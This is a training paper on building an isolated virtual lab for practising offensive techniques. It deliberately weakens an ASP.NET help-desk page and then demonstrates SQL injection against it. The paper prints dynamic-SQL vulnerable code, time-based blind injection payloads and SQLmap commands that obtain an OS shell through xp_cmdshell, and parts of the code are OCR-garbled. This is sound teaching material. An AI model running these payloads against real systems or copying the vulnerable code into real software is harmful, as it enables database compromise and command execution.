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Abstract

The demand for qualified security professionals who possess the required skills and
relevant education is increasing substantially. However, the supply is not meeting the
demand. The information security industry is growing in size, density and specialization.
Across all businesses we need people who understand computer systems, networks and
security. In order to help facilitate the growth of these information security skills
hands-on training (H.O.T.) can be used to make sure that our abilities have been tested in
the most realistic way possible This paper will show how to build an environment that
will represent real-world security issues and their respective flaws. Topics such as
incident handling, intrusion analysis, system administration, network security, forensics
or penetration testing can be taught and practiced. Among other objectives, the primary
goal is to grow security expertise and awareness by using a low-cost, high return and self
paced hands-on training method to allow us to understand attack methods in order to
create effective defenses.
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1. Introduction

The information security industry will continue to grow in size, density and
specialization (Tipton, 2010). The demand for qualified security professionals who
possess relevant knowledge and required skills is growing and will increase substantially
(Miller, 2012) (Suby, 2013). The information security discipline is complex and requires
continuous investment in training (Suby, 2013). Recently, various articles posted in the
media illustrate demand for security professionals (Ballenstedt, 2012). The Cyber
workforce has also increased by 600 percent over the last few years. As an example, a
search for the phrase “IT Security” on jobserve.com for IT & Telecommunications
industry returned over 5000 jobs in UK. As far as the biggest Swiss job portal jobs.ch is

concerned, running the same query resulted in over 300 job postings.

That being said, the following question is being raised: How can one help and
facilitate the growth of these information security skills? One key method is via training
and education. Even though there are plenty of systematic, formalized security training
programs, the hands-on training method provides opportunities to practice skills under
the most realistic conditions possible (Sisson, 2001). One option is to build an
environment that is designed to mimic real life situations by creating a simple virtual IT
infrastructure lab that will allow simulating complex implementations . This creates an
environment that will have the flexibility to accommodate changes by adding and
removing components at will. This environment will represent real-world security issues
with their respective flaws in an interactive, hands-on experience which comes with
greater advantage over traditional learning methods because security issues often require
substantial hands-on training in order to be understood and mastered (Erickson, 2008). In
addition there is the advantage of being in a controlled environment in which unforeseen
events are nonexistent or at least minimized (Gregg, 2008). By creating this environment
we foster the knowledge and promote learning. Topics such as incident handling,
intrusion analysis, system administration, network security, forensics or penetration

testing can be practiced, explored and explained.

In order to maintain focused, we need to define a clear scope while creating such

an environment. Each one of the aforementioned security domains would take several
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book volumes to be adequately covered. The environment is flexible enough to allow
simulating any of those domains. In this paper we will focus only on familiarizing users
with offensive and hacker techniques, attack methods and exploits — all of which the
reader can learn, practice at his or her own pace. We won’t focus on the countermeasures
or defensive techniques which can be an opportunity for the reader to conduct further
research. For example, an incident handling question could be: how could you better
prepare and be able to identify such attack methods? Or how could you contain, eradicate
and recover from such attacks? This paper aims to provide an introduction and encourage

further research using the same or similar environments.

It is important to realize that some of the techniques that will be demonstrated
could be used to commit nefarious acts, and this paper only provides them so the reader
understands how attack methods work. It is also important to understand that as a security
professional, readers should only use these methods in an ethical, professional and legal
manner (Skoudis & Liston, 2005) (John & Ken, 2004).

The methodology presented creates an environment that will mimic a small
business network which will be modified in order to make its defenses weaker or stronger
depending on the offensive tools and techniques the reader wants to practice. In addition,
a combined arms approach is used to raise awareness of how combining different tools
and techniques can lead to more powerful attacks. Throughout the paper the reader is
encouraged to practice other scenarios and further explore the techniques and move into

more advanced topics.

2. Get the Environment Ready

2.1. Gear Up

Whether the reader is running Linux, Windows or OS X, a virtual environment
can be easily build. There are a variety of virtualization systems and hypervisors
available. The VMware Workstation was chosen due to personal preference, wide range

of operating systems supported, and affordable price. Other open source and commercial
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solutions are available and the “thehomeserverblog.com” maintained by Don Fountain

contains great articles about them.

Use at least two monitors. The system should be equipped with sufficient RAM
and fast 1/0 like SSD drives or USB 3.0 ports. In most cases an average desktop or laptop
can run 2 to 3 machines but a more powerful system with 32GB RAM and enough
storage can easily perform with 18 VMs. The first system to be deployed should be a 64
bit host operating system e.g., Windows 7 Professional in order to accommodate enough
RAM (Microsoft, 2013). Next the hypervisor software is installed. In this case will be
VMware workstation 8. The second component that should be built is a virtual firewall
that will be the gateway to the isolated and controlled environment. This is important
because the reader does not want to practice tools, exploits and other nefarious software
in its home or production network (John & Ken, 2004).

The firewall should have several interfaces mapping to different VMnets which
will result in having different networking segments protected by firewall rules and
routing. The reader can start with a single-arm DMZ. For a more realistic setup, a DMZ
screened subnet approach with a dedicated segment for a management network is
preferred. Moving beyond this by adding additional tiers of security is always possible at
cost of proportional increase of environment complexity and resources. One of the
interfaces of the firewall should be the management interface where the management
traffic will reside and where the management systems are. Another interface of the
firewall is considered the external. This interface, in the VMware terminology, is
configured as Bridge mode. It will connect the environment to the real-world (host
network) where the reader might have his wife’s and kid’s laptop plus the wireless and
router devices to be able to connect to the Internet.

The environment used here contains a distributed Checkpoint firewall but any
other firewall would work. The reader should choose one that he feels comfortable with
or one that he would like to learn about. The distributed Checkpoint installation is made
up of two machines: a firewall module and a management station based on SPLAT
version R70. Both machines are managed using a Windows server called GUI, that

contains the Smart Console client software.
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Figure 1 - Virtual Machine Network Adapter Summary

To optimize the install, the DHCP server will be disabled and each VMnet will be

mapped to an appropriate network range.

In this environment three (3) DMZ networks were created in the firewall. Each
DMZ is assigned an RFC1918 IP network range and will be mapped to a different
VMware network. Figure 2 depicts the network diagram and the high level steps to create

the environment are described on Appendix A.
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Figure 2 - Network diagram

In terms of firewall rules the environment contains a very simple approach where
HTTP traffic is allowed from anywhere to the Web server. This is a typical scenario in a
small business network. Then the internal DNS server is allowed to make UDP
connections towards a public DNS server. Another rule allows NTP synchronization

between the various machines and a public NTP server. Management traffic that allows
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communicating with the firewall is defined by default as part of the implicit rules. The

initial firewall rule base is shown in Figure 3.
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Figure 3 - Firewall rule base

2.2. Windows Systems and Infrastructure

After the host configuration, additional components need to be installed. It is
important to install and test one component at a time to minimize complexity and to keep
good notes. Document each step and relevant configurations like passwords and IP

addresses.

The environment needs Microsoft Windows systems. When building a Windows
environment start with a Domain Controller and a Member server (TechNet, 2009). A
more complex configuration is described in the Windows Server System Reference
Architecture (WSSRA) documentation (Microsoft, 2005). It uses a modular approach that
allows users to focus on the scenarios or services that are more relevant for their needs.
With overview documents, reference blueprints, architecture blueprints, service
blueprints and exhaustive implementation guides that will help the users design and
implement IT services based on the use of Windows Server Systems products within the
context of a real-world enterprise scenario using a fictitious organization, named Contoso
(Microsoft, 2005). This documentation was written in 2005 and considers Windows
Server 2003 to build foundational infrastructure services. Even though, the WSSRA is a
complex set of guidance spanning more than 3,500 pages and contains more information
than what is needed, it is a great guide and helps to build a Windows environment. Over
time, the services covered by WSSRA are being updated and replaced with the

Infrastructure Planning and Design (IPD) Series which will cover Windows Server 2008
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(Microsoft, 2012). Below is the logical diagram that illustrates the infrastructure that is

build throughout those guides.

A Windows Server System

Figure 4 - Windows Server System Reference Architecture logical diagram

In the small environment that was build, two Windows machines were used.
After having the first Windows machine deployed with a baseline configuration and
device drivers installed from VVMware Tools, the reader should sysprep it. Next,
shutdown the system, compress it, and save it to a separate folder. This folder will be the
repository of ready to deploy gold images. Please consider that the sysprep method is to
avoid SID duplications when cloning windows machines. Mark Russinovich explains it
perfectly: "The Microsoft-supported way to create a Windows installation that’s ready for
deployment to a group of computers is to install Windows on a reference computer and
prepare the system for cloning by running the Sysprep tool. This is called generalizing
the image, because when you boot an image created using this process, Sysprep
specializes the installation by generating a new machine SID, triggering plug-and-play
hardware detection, resetting the product activation clock, and setting other configuration
data like the new computer name" (Russinovich, 2009). In addition, after finishing the
operating system and driver installation, create a snapshot to save the state of the virtual
machine which will allow you to return to any point previously saved. This allows the
reset of the virtual machines to a known-good previous state without the need to rebuild
the systems from scratch. The scenario that is described here uses two Windows 2008
Standard edition servers. One will have the role of Domain controller and Primary DNS
server. The other will run a web server, a database server and a development framework.

To get the Windows 2008 operating system media the reader can download an evaluation
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copy from Microsoft’s download center portal or from MSDN if it has a MSDN
subscription. The high level steps needed to create the first Windows Server 2008 are

described on Appendix B.

2.3. Web Stack

The next step is to build the second windows machine. This machine will be the
web stack with a web server, database and a development framework. Using Windows,
I1S, SQL Server and ASP.NET is one option. Another popular choice is Linux, Apache,
MySQL and PHP. The first option was chosen. After some research the book "Build
Your Own ASP.NET 4 Web Site Using C# & VB" was used because it gives a step-by-
step approach to build a web stack using ASP.NET framework (Posey, Barnett & Darie,
2011).

The first steps are to install the required software i.e., Visual Web Developer 2010
Express Edition, .NET Framework 4 and the .NET Framework Software Development
Kit (SDK), Microsoft SQL Server 2008 R2 Express Edition and SQL Server
Management Studio Express (Posey, Barnett & Darie, 2011).

Then with the web stack ready, the reader can start by creating the first Hello
ASP.NET page and getting an understanding how it works in the background. While
following the book and advancing trough the chapters to build the web application you
will start to get familiar with topics like view state, global configuration, server and client
side data validation, visual design and code-behind files, debugging and error handling
and interacting with a relational database via ADO.NET (Posey, Barnett & Darie, 2011).
The high level steps needed to install the Windows Server 2008 and the web stack are

described on Appendix C.
2.4. Artillery — Tools of the Trade

After having the initial infrastructure in place the reader will need to build an
arsenal of tools that will get him well equipped to practice, learn and perform offensive

techniques. One of the best suites available is the Kali Linux. This distribution brings the
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instruments needed in order to execute the steps an intruder will eventually perform
during an attack. Depending on the reader’s choice, Kali Linux is available in 1ISO or
VMware image format. Similarly arsenals are available like the Samurai Web Testing
Framework created by Kevin Johnson of Secure Ideas and Justin Searle of UtilSec which
focus on web application penetration testing (Johnson). Other alternatives exist such as
Pentoo, Matrix, NodeZero, or Katana which consists of a multi-boot DVD that gathers a
number of different tools and distributions in a single location (Engebretson, 2013).
Moreover, the reader can choose a preferred operating system and start collecting and
installing the tools needed depending on the task or technique. In our environment

,Backtrack R5, which is a precursor of Kali, will be used (Security).

Even though the BackTrack distribution is well known in the security community,
many of the tools have malicious capabilities, can cause damage and take systems offline.
Make sure to keep those tools in a controlled environment and behind a firewall to
minimize the possibility of misuse. You never know if the tools have a hidden feature
that targets the user system. In some cases, after trying the tools and techniques, the target
operating system needs to be rebuilt. This is another area where VMware shines. Rather
than physically reinstalling the operating system or application, its original configuration

can be easily restored using snapshots.

In this case the BackTrack was installed from the ISO image and positioned into
the bridge network as illustrated in Figure 2. The default gateway on the system points to
the virtual firewall’s IP address. The installation of BackTrack or Kali is easy and simple

and allows the reader to have a ready system with all the tools needed.

3. Making It Defenseless

Instead of modifying the secure test application, the reader could use an existing
vulnerable web application. Likewise, the reader could use test sites that allow him to
practice hacker techniques in a wide variety of security realms. Just chose one from

Aman Hardikar’s awesome mind map with various penetration testing practice labs and
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vulnerable applications (Hardikar, 2013). But on the other hand, building an
infrastructure with simple IT services such as directory services, messaging services and
a web stack will allow the reader to enhance the depth and breadth of its skills not only

from a security perspective but also from a systems and networking viewpoint.

Also, It is valuable to be exposed to defense and offense. Through the process of
creating this environment and then growing it at will, the reader can practice both sides.
In this environment a simple and secure web application is created and then its defenses
are reduced. For instance, while following the mentioned book to create an ASP.NET
website the code uses strong protections against SQL Injection using parameterized
queries, stored procedures and data validation controls (Posey, Barnett & Darie, 2011).
To make the application less secure, the reader first has to understand the security
techniques employed by this application. The same applies to other technologies. For
example techniques that protect against malicious user input. Once the code is vulnerable,

the reader can explore attack techniques.

After building the mentioned web application, 4 steps are executed to make it
vulnerable: First, a user account with system administration privileges is created. Second,
the SQL parameterized statements are replaced by dynamic SQL statements. Third, the
code is changed to make the application disclose error information and finally, the data
validation code is removed to avoid input sanitization based on type, length, format or

range.

For step one, go into the SQL Management Studio on your database server and
create a user with system administration privilege (sysadmin) as illustrated in the left side

of Figure 5.
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Figure 5 - User creation in SQL Server and Visual Studio solution explorer

This user will be used to define a database connection using SQL authentication.

Then start changing the .NET application code using Visual Web Developer 2010

Express. For reference the right side of Figure 5 shows how these code files look. Next,

web.config is modified. The authentication mechanism used by the application to connect

to the database will change from integrated authentication to SQL authentication as

shown on the left side of Figure 6 (Posey, Barnett & Darie, 2011). After making the

change make sure the application can be compiled and is working as expected. Next

change HelpDesk.aspx.cs. Remove the block of code that contains the parameterized

SQL statements and replace it with a dynamic SQL as shown in right side of Figure 6.

By comment out this
snippet of code

“@SubjectiD, @Des

By comment out this
snippet of code
<add name="Dorknozzle"
conne

categoryList Sele: Idlt
comm.P:

omm = new SqlCommany d
“NSERT INTO Helunesk (EmployeelD, Sl.al\unNumber

“CategorylD, SubjectD, Description, StatusID) " +
VALUES(@EmpIuyeEID @S\auquumber @Caiegorylb +
cription, @StatusID)", conn):

# Add command parameters

comm.Parameters. Add (" @Emmnyeeln Sys(em Data SalDbType Int);
comm.Parameters|*@EmployeelD'].V:

comm.Parameters. Add (" @SlatlunNumbef'

System.Data. SqlDbType.Int);

comm.Parameters|"@StationNumber’] Value = stationTextBox. Text;
comm.Parameters. Add("@Category|D", System Data.SqiDbType.Int);
comm.Parameters|'@CategorylD"].Value =

e Value;
tem.Data.SqlDbType Int);

<add name="D

Security=True" providerName="System.Data.Sq|Client"/>

Database=0x Jser 1D=Dx

providerName="System Data.Sq|Client"/>

"VALUES(5 ™

comm.Parameters[" @s be dID]\/ alle

subjectList Selecteditem Value

comm.Parameter ﬁAdd( @Des
Dby

comm Parameters. Add ("@StatusID", System Data. SqiDbType.Int)
comm.Parameters|'@Status|D*] Value = 1;

comm = new SalCommand(
“INSERT INTO HelpDesk (EmployesID, Statio
“CategorylD, SubjectD, Descrition, svatuslm

categoryList. Solactaditom! Ve b
descriptionTextBox. Text + *, 1)", conn);

nNumber, * +

stationTextB:

subjectList. Selectedltem Value + ™™ +

Figure 6 - Web.config changes and weak SQL statements based on strings concatenation
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Following that, step three is to customize the Try-Catch-Finally code block in

HelpDesk.aspx.cs as shown on the right side of Figure 7. This allows the web application

to throw error messages and disclose them locally. Finally change HelpDesk.aspx and

remove input data validation by commenting it out. This will facilitate the attack methods

later on. The left side of Figure 7 shows the code block that should be removed or

commented.

By comment out this
snippet of code

<asp:RequiredFieldValidator id="stationNumReq" runat="server"
ControlToValidate="stationTextBox"
ErrorMessage="<br />You must enter a station number!"
Display="Dynamic" />

<asp:CompareValidator id="stationNumCheck" runat="server"
ControlToValidate="stationTextBox"
Operator="DataTypeCheck" Type="Integer"
ErrorMessage="<br />The value must be a number!"
Display="Dynamic" />

<asp:RangeValidator id="stationNumRangeCheck" runat="server"
ControlToValidate="stationTextBox"
MinimumValue="1" MaximumValue="50" Type="Integer"
ErrorMessage="<br />Number must be between 1 and 50."
Display="Dynamic" />

<asp:RequiredFieldValidator id="descriptionReq" runat="server"
ControlToValidate="description TextBox"
ErrorMessage="<br />You must enter a description!"
Display="Dynamic" />

// Enclese database code in Try[atchFina_y

try

// Open the connection
conn.Open();

// Execute the command
comm. ExecuteNonQuery();

//Commented to remove the redirect when error occurs
// Reload page if the query executed successfully
//Response.Redirect("HelpDesk.aspx");

catch (Exception exception)

//Added throw exception

throw exception;

//Commented the standart error to allow exceptions
// Display error message

//dbErrorMessage.Text =

1 "Error submitting the help desk request! Please " +
1/ “try again later, and/or change the entered datal®;
g
finally

// Close the connection
conn.Close();

Figure 7 - Modify try-catch code block and remove data validation mechanism

In addition, disable the EnableEventValidation and ValidateRequests directives

by setting them to false in the header of the HelpDesk.aspx (see Figure 8).

<%@ Page Language="C#" MasterPageFile="~/Dorknozzle.master"
AutoEventWireup="true" EnableEventValidation="false" ValidateRequest="false"
CodeFile="HelpDesk.aspx.cs" Inherits="HelpDesk" Title="Dorknozzle Help Desk" %>

Figure 8 - Local directive settings

By following these steps the reader made the HelpDesk.aspx page vulnerable to

SQL injection. This is going to be demonstrated in the next chapter. It is not an intent to

make the reader a .NET developer. Still, it is up to the reader if he wants to further read

and explore more about what are those measures that were removed or just follow the

steps in order to practice the tools and tactics in the upcoming chapters.
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4. Deep Dive

During the previous chapter the defenses that were in place in the test application
were removed. To achieve thisa trial and error approach was used. While looking for
SQL injection vulnerabilities, different methods, techniques, and ways of manipulating
the user input were tried in order to see how the system reacted.. This method allows us
to learn and practice which defenses would need to be removed to allow a successful

exploit.

The HelpDesk.aspx page is shown in Figure 9. It simulates a helpdesk ticketing
system where the user is allowed to input data into two fields. The "Station Number" and

the "Problem Description™.

Station Number

Problem Category
Hartvare. =

Submit Request

Figure 9 - NET Web Application simulating a ticketing system

When the user clicks on the "Submit Request” button, the web form takes the
value and passes it to a SQL statement. This will happen without validation controls
because they were removed. Behind the scenes this page contains an INSERT SQL
statement that will receive the user input and insert it into the database. The code block

that allows this to happen is shown in Figure 10.

"INSERT INTO HelpDesk (EmployeelD, StationNumber, " +
"CategorylD, SubjectlD, Description, StatusID) " +

subjectList.Selectedltem.Value + "™ + descriptionTextBox. Text + ™, 1)", conn);

Figure 10 - SQL statement that will be used as injection point.
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The database called "Dorknozzle™ contains a table called "HelpDesk". This is
shown in Figure 11. In the database there are several columns that are used to store the
user input. During the trial and error method to discover a SQL injection point it was
found that input that is stored in the database as an integer could not be manipulated.
This applies to the "Station Number" field. However, the "Description™ field uses the

nvarchar type and allows up to 50 characters to be inserted.

|
\
1
?

TR | /55 <01 1501 dbo reipoesk| S0

& Lsd - WB-SQU
Comect | B u T 55 | Cokumn Name | DotaType | Alownds
= |9 W2K8-SQUSQUEPRESS (SQL Server 10.0.2531 - W2K8-5QL \Administrator) 8| Requestio nt r
© [ Databases || Employeeld int r
H (I -Systen Dotebasey Stavontiumber nt v
= | J Dorknozde o
# [ Database Diagrams pu— tegoryiD " r
SRR Tobes | | subsectid nt O
@ [ System Tables » | Description nvarchar(50) ~
@ 0 dbo.Departments StatusiD ot G
3 2 dbo.Employees — r
= [ dbo.HelpDesk —
= (3 Columns
; RequestiD (PK, int, not nul)
EmployeelD (FX, int, not null)
) StationNumber (int, nudl)
CategoryID (FK, int, not nudl)
SubjectiD (FX, int, not nu)
(1] Description (nvarchar(50), nul)
¥ StatusiD (FK, int, not )

Figure 11 - SQL Object Explorer of the Dorknozzle database

With this in mind and with the defenses down the reader can start adding
characters in the user input fields that would change the initial query logic and see how
the system reacts. The first character to try is the single quote. When clicking the submit
button the web application returns a SQL exception message. This happens because the

error messages were enabled.

Server Error in '/Dorknozzle' Application.

Unclosed quotation mark after the character string ", 1)".
Incorrect syntax near ", 1)".

Description: An unhandied exception occurred during | ytion of the current web request, Please réview th
code

Exception Details: System Dats SqCkent SqException: Unciosed
Incarrect syniax near ", 1),

mark after the charactsr siring ™, 1.

Source Error:

Figure 12 - Disclosure of error messages
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This was exactly the objective. This SQL error message discloses that the
statement submitted had an unmatched number of single quote characters. To further
exploit it the reader would need a way to construct a statement in the input field that
allowed to terminate the string and append the malicious SQL statement (OWASP,4). At
this stage the debug functionality of Visual Studio Express was used. By introducing a
break point in the code where the SQL statement is, the application execution could be
controlled. Then the Web application was started in debug mode. In the HelpDesk page
the character “A” and a single quote was inserted in the "Problem Description™ field.
When submitting the request the break point kicked in and the step into functionality was
used to dig into what was happening. This allows us to verify exactly how the SQL
statement was being constructed and executed by the database. Figure 13 shows these

steps.

—

[ revestertomirars] v [

R | |52 e e

; B Admn Newsener

ce! Employee Help Desk Request

=

Tl V. Loca ntrant. | Protecied Mode: 0 A oom -

Figure 13 - Debug process in Visual Studio to see behind the scenes what is cause the error

The SQL statement that was being sent to the database was not well formed due
to the crafted input which caused an odd number of single quote characters resulting in a
SQL error. Figure 14 shows what the SQL statement looks like.
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SQAL Statement with
crafted input that
caused error message

Figure 14 - SQL statement that caused the error message

Now it is just a manner of time to find the correct input that will create a well
formed SQL statement and introduce the malicious SQL code. During this iterative
process the reader can find that he could close the SQL statement by injecting the right
number of values that the database is expecting. Then another statement could be inserted
and this would be the injection point and the “--* sequence (two dashes) can be used to
ignore the rest of the statement. This SQL injection point is inside an INSERT statement.
Because of this you couldn't see the output of the injected query or any difference in the
in the responses of the web application which increases the difficulty of the technique.
Using a technique called Blind SQL injection, which was first introduced by Chris Anley
in 2002, the reader might use inference techniques to get the results (Clarke, 2012). For
example, with this technique, SQL statements that analyze the response time can be used.
One method is using the sleep function like WAITFOR DELAY 'time'. Using this
technique the reader could make the database wait and reveal if a statement was true or
false. In Figure 15 is shown how the SQL statement would look like after having the evil
payload inserted. This will result in the database to wait 5 seconds before producing the

results.

3) Two dashes causes

the rest of the
2} Introduce the malicious statement to be ignored
SQL statement

1) Make sure the

SQL statement is

well formed

Figure 15 - Test SQL injection point with a time based technique

In addition to the previous example the following SQL statements could be used
in the SQL injection point to understand how the database would react:

IF (1=1) WAIT FOR DELAY “0:0:5 --
IF (1>2) WAIT FOR DELAY °0:0:5" --
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Then more advanced queries could be used to determine if the current user is part

of the sysadmin role:

IF((SELECT (CASE WHEN (IS_SRVROLEMEMBER('sysadmin‘)=1) THEN 'l'
ELSE '0' END))="1") WAITFOR DELAY '0:0:5'—

This seems a rather tedious and slow process but this will be automated using well
known SQL injection tools in the upcoming chapters. These tools dramatically increase
the efficiency of an attacker but also extend the attack population. One disadvantage of
these powerful tools is that any inexperienced person can mount complex SQL injection

attacks regardless the technique or the database technology (Clarke, 2012).

During this exercise the reader is able to learn about SQL, its inner working
queries and how SQL statements are constructed. It should be clear now why is important
to disable any error messages and why it is important to sanitize all input. When the
reader has a good understanding of the tools and techniques and can control the logic of
the application the reader could also use SQL injection with serious consequences. Tools

like SQLmap and SQLninja can be used to automate these techniques.

Even though the focus was on SQL injection the environment is ready for
additional tests by reducing our defenses further. In the context of this web application
the reader could introduce other vulnerabilities such as Cross-Site scripting (XSS), Cross-
Site Request Forgery (CSRF) or introduce a broken authentication mechanism. Learning
how to do this and understanding the mechanisms behind the scenes is a rewarding
exercising. Likewise, learning the attack vectors, use the tools, taking the time to
experiment with them and understand how they work will make one better equipped and
skilled.
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5. Hacking Techniques

5.1. Attack Anatomy

Ed Skoudis describes the anatomy of an attack using a 5 step model. The steps are
reconnaissance, scanning, exploit, keeping access, and covering tracks (Skoudis &
Liston, 2005). In our environment, the reconnaissance and scanning steps are skipped.
The focus will go be on the exploit phase. A sophisticated intruder will spend a great

amount of time and resources performing reconnaissance and scanning.

We will use SQL Injection as an example and utilize SQLmap in this exercise.
SQLmap has been developed by Bernardo Damele A.G. and Miroslav Stampar and it is
an actively maintained and powerful command line tool. It is available as part of the
BackTrack and Kali distribution (SQLmap).

Start by getting the latest version of SQLmap from the repository by issuing the

command shown in Figure 16.

# git clone hitps://github.com/sglmapproject/sglmap.git sgimap-dev

Figure 16 - Retrieving the latest SQLmap code release

To configure SQLmap, we will tweak the default settings. In order to get those
settings the reader should access the test site through a proxy like Paros or use the Firefox
tamper data plug-in. Save all the POST parameters in a file which will be used as

payload. Figure 17 shows the steps taken to retrieve the POST parameters and use them
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with SQLmap.

* Tamper Popup

Request Header Name Request Header Value Post Parameter Name Post Parameter V...
Host www.ville.com __EVENTTARGET
User-Agent Mozilla/5.0 (X11; Linux 1686; 1v:9.0.1) Gecko/203¢ | | _EVENTARGUMENT

Accept texthtmi application/xhtmi +xmiapplicationxmi | | IRIEVEZ N

%2FWEPDWUJMTQIN

Accept-Language en-us,ena=05 €tio%24ContentplaceHolder] %24stationTextsox | 100
Accept-Encoding gzip, deflate ctioo%24ContentPlaceHolderl%24categorylist [ 1
POST PARAMETERS
Accept-Charset 150-8859-1utF-8:9=0.7," cti00%24ContentPlaceHolder] %24subjectlist 1
Connection keep-alive ctioo%24ContentPlaceHolderl%24descriptionTe... | A%27

Referer http:/wwvg#E.com/DorknozzleiHelpDesk.aspx | | | ctioo%24ContentPlaceHolderl%24submitBution | Submit+Request

Cookie _sessionid=1rvophbp45nj5wiqbpLdmg3:

cancel | [ oK

__VIEWSTATE=5%2FWEPDAUIMTQINDKyMT CXD2QWAMYPZBYCAGMPZBYEAGUPPCSADQLADXYCHG t FIURNIGFCh 3VU2GKDBArAAGFGZAGMCNWO J ESMDOYLDAGMYW — )
0] QsHDOLLDAGNNQr AATWEB AEVGY4 dAUESGItZRA FVIF SAWUFBE hvbinUeCOS hn 1 nYXR1VX) SBRGVRGOya2 Svenps 2SOEZnZhdxOLmE zeHgeB1Rvh2XUAXAF
BUR\/(H tub3pbbGUgSGItZRAHRWShYmx 1ZGceCINTbGY]dGF i bGVNHGhEYXRhUGF0aAUYL 2Rv cmt ub3pbbGUvZEVMYXVsdCShe3B4Hg 1 EYXRhGmI1bmRnZBQrA
'ATWERBCBQ] 1ZWxwIER] c25FCGCeCrN bV davkzx883Q] IZWxwIER] C2 s FANUZLORvCmTub 3p6bGUVSGYS CER 12 SUYXNWeBBFZxBG6ZXBEBRRED 33 rbmd6em
x11h1 bragRGVZax8HERk Svenps; he 3842B0rAA TWEB88ER ) FhxEsh 31 1258EaX) 1Y 3Rvenk FAGUSRWIWDGYS ZWUGRG TyZwNOb3 ]
SHWMFLT9ED3 1 rbmdGemx 1LOVECGxyewy | RG 1yZWNOb3 15LmF2CHGFBAUGRGOya2 Svenps 258 FbxBsb 311258Eax) ¥ 3RvenkFawc Fame FewuiL2Rvemtub3p6
bGUVZW1wbG95Zwvkax11v3RvenkuyXhweB8 IZ2QUKWACFhAFAQUMQUWRKEMYZ CYBCh29 rHWIFDEFKZHI T c3Mgam9Ivax8DBRWVRGIYaZ5venpsZSIBZGRYZXNZQ
mIvayshc3B4HwWaF FORvEmTUb3p6bGUIQWRK cmvZE yBCb29 rHwVNHWZNHWC FHCIKb 31 rbm96emx 1L2 FkzH 11 ¢ 3N1b29 rimFz cHoFCGAk FCSAARYGHW FFCUR1(G
FydGL1bnRzHWIFCOR1CGFydGL1bnRZHWMFHCIED3 I rbmd6 emx 1LORTCGFydG1] bnRzLmF zcHgFBAUNRGya 2 SvenpszSBEZXBhCRREZWS0C xBF 2x BGZxBHBRw
¥ZG3ya? SvenpsZSakZXBhCnREZWS0cy She 3B4HuhnZBQr AATWEBBBEQLBZGLob1 BUb29s CxBCBQtBZGLpb1 BUb 295 CxBDBR svRGOya2 Svenps 2S9BZG1pb TRy .
b2xzLmFzcHg FBAULQWREawd gvGIvbHWF BuC FBmc FBWUbL2RvCmtub3p6bGUY YR taw50b29s Cy She 384 HuhnZBQrAATWEBBBERBBZG1phi BoZXdzbGvOdGVYH > #vi payload
WL EEFKbWTUTES 1d3NSZXROZKI FAMUSL ORVCCUb 3pEDSUVONRTaH50ZXd ZhGYOTG L ZCHaTBAUDRGy a2 5 venpsZ SEBZGLobi BOZXdzbGVOGYY RV ki
ZnHwCFICIkb3 I rbmdGemx 1L 2FkbwT ubmv3C 2X10HR1 ci5he hnzeyozggkFg) kAQEPZBYCZgBVAQ] TZWXWIER ] C2TKAGIPZBYCZGBVAR]
FhXBsb311258EaX) 1¥IRven TKAGHPZBY CZgBVAGXBZGRYZ XNz TE Jvh2 tkAGQPZBY CZg8VAQE EZXBRC IRTZU50¢ 2CBQIKFG IMDXUBCOF kb 1UT FRVB2XZZATG
D2QWAMYPFQEQQWRtawdgTmy 3c2x 1 dHR1 cmOCBWIk FGQCCWBADXYGHYS EYXRhVIMF 5dwViGawy's ZAUKQZ FOZWdv cn 1 JRBANRGF 0YVR 1 eHRGaWV sZAUIQ2F0ZwWdve
nk fAGAKEBUECERhCIR 3YX3 1 CFNVZNR3YX) 1 CldvemtzdGF0awSuE E90aGVyL ORvb i d0TGtub3cVBAE XATTBMUEOFCSDBGAN Z2dkZATNDXAPFgY FCQUIU3Viam
VidE] EHws FEINLYmp1Y3QFAGHKEBUHFENVDXB1dGVYTHAVD i dOTHNOYXIOFULvbm10b31gd28u) 3agcHvyb1 BvbgIDaGFpC iBpCYE | CmIrzZwdRT2 zmawn1 THd
bri d0THdvCms Sv2TuZG03cyB3b24ndC 3b3 1 rEENVDXBLAGVY LGNy YXNOZXMFT 3R0ZXIVEWE XAT IBMWEOATUBNGE3 FCs DB2dnz 2dnz2 dkzBgBarR j dGwincRi
b3) rbm96emx 1 TWVudQ8PZAU JSGVSCCBEZXNFZItBPTySIg0] TM7F8m2NG 1WF 24 1y 61WDBCBS HOH I TMV&Ct 100%24CantentPlaceHnlder %24s tationTex
tBox-1&ct 100%24Contentp laceHo lder1%24categoryList=1&ct]00%24ContentplaceHn] derl5%24subject i st-18ct 100%24Contentp laceHolde
ri%24descriptionTextBox=A8t]00%24ContentPlaceHo] der1%245ubmi TBUTEON=5ubMi t+Request

# ./sqlmap.py ¥-u "http://www v'\ﬂe com/Dorknozz]e/He]pDesk aspx'
s 1" —-suffi

--data="cat payload --prefi x="--" --fresh-queries -v 0

b

Figure 17 - Process of getting POST parameters in order to be used by SQLmap

Then execute SQLmap. It will determine that the parameter
ctlo0$ContentPlaceHolder1$descriptionTextBox is vulnerable using a time-based blind
SQL injection technique. Using this technique the tool is able to extract the SQL query
results in a bit-by-bit manner (Litchfield, 2005). Asking questions to the database and
observing how it reacts to those questions will allow the attacker to infer the value of the
data (Stampar, 2009) (Litchfield, 2005).

Now that the reader has a method that works and that allows him to have access to
the system, the reader can move to more advanced techniques. Figure 18 exemplifies in
detail how SQLmap achieves an operating system shell using time-based blind injection
techniques. It starts by determine if the current user is part of the sysadmin role. Then it
determines if the xp_cmdshell extended procedure is available. This stored procedure is
one of the most powerful stored procedures and it is used to launch operating system
commands in the context of the SQL server service (Litchfield, Anley, Heasman &

Grindlay, 2005). In this case it was not available so SQLmap has the ability to re-enable
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it using the sp_configure stored procedure. The reader needs to have sysadmin rights to
the DB to use sp_configure. With xp_cmdshell, the reader can start executing operating
system commands using SQL statements. Because the results of the xp_cmdshell are not
sent to the client, further queries using temporary tables are used to retrieve the results.

# Isqlmap.py -u http:/fwww ville.com/Dorknozzle/HelpDesk aspx' ~data= cat payload” —-prefix="1", 1);" ~-suffix="—" —os-shell -v3
POST parameter 'cti00$C: folder iptionTextBox' is
Place: POST
ctO0$C iptionTextBox
Type: stacked queries. n
Title: Microsoft SQL Server/Sybase stacked queries ...vulnerable
Vector: ; IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME] parameter ... and

techniques used ﬁms;bﬂsad Blind,
Type: AND/OR time-based blind techniques to
Title: Microsoft SQL Server/Sybase lime-based blind gather information
Vector: IF(INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]

[08:59:35] [INFO] testing Micresoft SQL Server

